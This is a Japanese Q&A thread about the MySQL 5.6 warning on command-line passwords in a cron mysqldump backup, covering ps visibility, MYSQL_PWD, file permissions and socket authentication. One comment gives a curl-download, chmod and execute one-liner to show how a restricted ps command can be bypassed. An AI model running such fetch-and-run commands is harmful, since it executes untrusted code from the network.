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MySQL5.6のDBをcronでバックアップしようとしています。


mysqldumpの-pパスワードを書いたshファイルを、下記に配置して実行したら、

/home/ユーザ名/ディレクトリ名/backup.sh

下記警告が表示されました。

Warning: Using a password on the command line interface can be
insecure.


この警告はどの程度の意味を持つのでしょうか?
・警告なので、あまり気にする必要はない?
・それとも、何らかの対策を施すべき?

※環境 CentOS 6.4


追記
・下記リンク先で、以下のような記述があるのですが、なぜでしょうか?
・psコマンドと言うものは、一般的によく使われるコマンドなのでしょうか? だから推奨できない?

psコマンドに制限をかけることのみをこの問題への対策とすることは推奨できない

コマンドラインからの情報漏えい対策

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コマンドライン引数は ps コマンド等で他のユーザーから見られる可能性があるため、警告が表示されています。

mysql コマンドは MYSQL_PWD という環境変数からパスワードを取得することもできるので、それで対処するのもいいかもしれません。

https://yoku0825.blogspot.jp/2015/05/mysql-56-warning-using-password-on.html

[追記]

プロセスの環境変数はスーパーユーザー以外の他ユーザーには見えることはないので、コマンドライン引数よりは安全です。

mysql の警告は、コマンドライン引数でパスワードを指定することは危険だという以上の意味はないです。
cron から起動する時にどうすればセキュアになるかということまで考えられてるわけではありません。

上に書いた MYSQL_PWD 環境変数は mysql に警告を出させなくするための案です。

cron から実行する場合は、crontab にパスワードを直接書くのではなく、シェルスクリプトを起動するようにして、そのスクリプト内にパスワードを記述し、スクリプトを実行するユーザー以外にはそのスクリプトが見れないようにファイルのパーミッションを設定しておけば安全かもしれません。

また、接続先が localhost の mysqld である場合は、パスワード無しで接続するユーザーを作ることもできます。ご参考まで。 → http://tmtms.hatenablog.com/entry/2016/04/24/mysql_auth_socket

  • コマンドを打つときは「MYSQL_PWD=xxxx」を先頭に記述? crron使用する際も同じく「MYSQL_PWD=xxxx」をコマント先頭に記述するのでしょうか? 呼び出す際、-pオプションは不要? 平文で書くならセキュリティ的には向上しない気もするのですが…。-pオプションではなく、MYSQL_PWD環境変数へパスワードを平文で保存すると、セキュリが向上するのでしょうか? 設定したMYSQL_PWD環境変数はどこへ保存されるのでしょうか? – re9 16年9月16日 7:31
  • 1
    回答本文に追記しました。 なお、環境変数はシェルが読み込みプロセス内部のメモリに設定し、子プロセスに自動的に引き継がれます。どこかのファイルに保存されるわけではありません。 – tmtms 16年9月16日 14:26
  • 追記ありがとうございました。要は「コマンドライン引数でパスワードを指定することが危険」なのですね。環境変数の件についても勘違いしていました。ファイル保存ではなく、「プロセス内部のメモリに設定し、子プロセスへ自動的に引き継ぐ」わけですね。大変参考になりました – re9 16年9月17日 5:18
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ウチでもバックアップの目的で crontab

/usr/local/mysql/bin/mysqldump -u dbuser --password=hogehoge exampledb

なんて書いてあります。オイラはこれを危険とは思いません。
crontab からスクリプトを呼ぶのは・・・うーんどうだろう。あまりお勧めしたくない感じ。
オイラなら mysqldump は直接 crontab に書くでしょう。理由は後述。

仮に、の話になってしまいますが
悪意あるユーザが database サーバマシンに不正ログインできたときに
dbpassword が書いてある script があったら速攻、情報窃取ができてしまいます。
dbpassword が無かったら brute force なり social engineering なりで
パスワードを探す時間が必要=窃取される前に管理者が気づける可能性が増えます。
(まあ不正ログインされている時点で限りなく無意味なわけですが)

社員による情報の持ち出しを防止するためには、当該マシンにアクセスする権限がある
正規ユーザであっても簡単に db アクセスできないように工夫すべきでしょう。
持ち出したいと考えているユーザにとっては password が平文で書いてある script なんてのは
まさに狙い目、真っ先に探す対象になります。

dbpassword がログインパスワードと同じとかだと social engineering の対象です。

あるいは当該 script を telnet や ftp 等の平文転送システムに流したら、
経路上の誰かに傍受される可能性があります。

というわけで
- 扱いを誤ればセキュリティホールにはなりうるだろう。
- 危険か危険でないかは管理者の判断次第。
と言う当たり前のことしかいえないです。

まあ少なくともデータベース管理者か root のみが当該ファイルを読み書きできるよう
ファイルのパーミッションは 500 にしておくくらいの対処はしとくべきだと思います。
crontab を直接使うとこの辺のパーミッションの管理は自動でできるわけですし、
わざわざ別に script 書くより安全な気がします。
cron がプログラムを起動する際の実効ユーザが誰かを考えると 500 のユーザは誰?と
いささか悩ましいですし。

  • mysqldump は、shファイルではなく直接 crontabに書いた方が良い、ということだと思うのですが、内容難しかったです。「crontab を直接使うとこの辺のパーミッションの管理は自動でできるわけですし、わざわざ別に script 書くより安全な気がします」の意味が分かりませんでした。パーミッションについて、shファイルよりもcrontabの方が管理しやすい、のは何故でしょうか? crontabの方が不正アクセスに強い?? – re9 16年9月16日 7:31
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psコマンドの制限に関してですが、これ「のみ」を対策としても意味無いのは以下のような穴がいくらでもあるからでしょう。

  • psコマンドを外部から持って来たら?
  • pstreeのような同じ事が出来るコマンドがインストールされていたら?
  • /proc/を直接読まれたら?

では穴を全て塞いで回って「対策」するのかというと、それは面倒極まるし、何かおかしい。
psコマンドの制限」が必要な時点でUnixの使い方が間違っているのだと思います。

  • 「psコマンドを外部から持って来たら?」の意味は、例えば「PHP でpsコマンドを実行したら」、という意味でしょうか? 「コマンドを外部から持って来る」の意味が分かりませんでした – re9 16年9月17日 5:22
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    「psコマンドの制限」しかしていなければ、例えばこういう事が出来ますよね。curl http://example.com/my_tools/ps >ps; chmod +x ps; ./ps -ef この場合 example.com という「外部から持って来た」psコマンドを実行しています。 – mjy 16年9月17日 5:56
  • なるほど、取得しようと思えば手段はいくらでもあるわけですね。『穴を全て塞いで回って「対策」するのかというと、それは面倒極まるし、何かおかしい」』の意味が良くわかりました – re9 16年9月18日 6:40

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